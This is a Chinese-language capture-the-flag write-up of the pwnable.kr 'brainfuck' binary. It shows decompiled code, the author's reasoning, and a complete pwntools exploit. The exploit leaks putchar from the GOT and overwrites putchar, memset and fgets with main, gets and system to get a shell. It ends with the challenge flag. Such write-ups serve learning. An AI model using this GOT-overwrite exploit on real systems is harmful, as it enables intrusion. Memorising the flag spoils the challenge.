题目源码

main函数的代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 0x400u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

do_brainfuck函数的代码

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  int v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:
      result = p++ + 1;
      break;
    case 60:
      result = p-- - 1;
      break;
    case 43:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:
      result = putchar(*(_BYTE *)p);
      break;
    case 44:
      v2 = p;
      result = getchar();
      *(_BYTE *)v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

做题的思路

首先这题没找到溢出点,memset分配了1024,fget也只限定输入1024,然后do_brainfuck也只是做了一些编码的操作,里面有个getchar函数感觉用不了
导入函数里面并没有write和read函数,感觉无法leak,找到了一个__stack_chk_fail,不知道怎么用

但是题目给了bf_libc.so文件,肯定要进行泄露然后得到getshell,题目开启了NX和canary,比较难,NX用ret2libc绕过,canary用暴力破解?

v6缓冲区离canary正好是1024的大小
0xbfffeb1c EAX = 0xb 加了换行
ebx = 0,计数器i保存在[esp+28h]处
buf保存在[esp+2Ch]处
canary保存在[esp+42Ch]处

没有具体分析do_brainfuck函数,还是没有认真分析,老想看网上教程

  • > : p ++
  • < : p –
  • + : ++(*p)
  • - : –(*p)
  • . : putchar(*p) 打印p指针
  • , : getchar 给p指针赋值

因为p指针地址在bss上,离data段,上去就是.got.plt段,思路:可以通过移动p指针,改写.got.plt上的函数
.got.plt:0804A030 off_804A030 dd offset putchar ; DATA XREF: _putcharr
.bss:0804A080 p dd ?

tape的地址可以从gdb调试中获取

需要偏移的p指针offset = 0x0804A080-0x0804A030 = 0x50

思路还是太窄

可以跳回到main函数再执行一次

.got.plt:0804A02C off_804A02C dd offset memset .got.plt:0804A010 off_804A010 dd offset fgets

如何根据so文件泄露函数的真实地址?
根据泄露putchar函数的真实地址(gdb中可以通过print打印出来),然后根据so文件泄露其它函数地址,因为他们相对偏移是不变的

首先通过得到putchar函数运行时的地址,计算出其它函数真实的地址,覆盖putchar函数到main函数

不知道main函数的地址,main函数的地址好像是不变的,main_addr = 0x8048671 这里要注意地址小端问题,这里直接赋值应该没问题

怎么寻找/bin/sh的地址? 这里可以通过gets函数来输入,输入放在哪?又怎么作为system的参数

因为我们把memset覆盖成gets函数,栈空间是不变的,所以我们传进去的/bin/sh保存在v6上,然后覆盖fgets为system函数,此时system的参数就是v6就已经传进来了。

不理解为什么一开始要调用一次putchar,明明两个连续的’.’,但是结果不一样,这里我想是不是因为延迟绑定的原因,先将p指针压入栈中,因为此时got表还没绑定putchar,所以得到的地址并不是putchar的地址。 这题不知道怎么调试,每次调试都会跳进do_brain_fuck的循环里面,我明明是在收到第二次”type some brainfuck instructions except [ ]\n”附加gdb的

exploit代码

from pwn import *
import time

context.log_level = 'debug'

p = process("./bf")
#p = remote('pwnable.kr',9001)
#libc = ELF('bf_libc.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
pt_got = 0x0804A0A0

putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
memset_libc = libc.symbols['memset']
system_libc = libc.symbols['system']

p.recvuntil("type some brainfuck instructions except [ ]\n")
payload = '.'+(pt_got - putchar_got)*'<' + '.>'*4 #泄露putchar函数地址
payload += '<'*4 + ',>'*4 #覆盖putchar函数为main函数
payload += (putchar_got - memset_got + 4)*'<' + ',>'*4  #覆盖memset函数为gets函数,+4是因为之前putchar函数已经被覆盖了,算偏移到倒回去4
payload += (memset_got - fgets_got + 4)*'<'+',>'*4 #覆盖fgets函数为system函数
payload += '.' #调用putchar函数,实际上是main函数

p.sendline(payload)

print str(p.recv(1))
putchar_addr = u32(p.recv(4)) #接收putchar函数实际地址

#gdb.attach(p)
print putchar_addr

#计算system函数gets函数的实际地址
offset_addr = putchar_addr - putchar_libc
system_addr = offset_addr + system_libc
gets_addr = offset_addr + gets_libc

binsh = '/bin/sh\0'

main_addr = 0x8048671

p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.recvuntil("type some brainfuck instructions except [ ]\n")

p.sendline(binsh)
p.interactive()

flag :BrainFuck? what a weird language..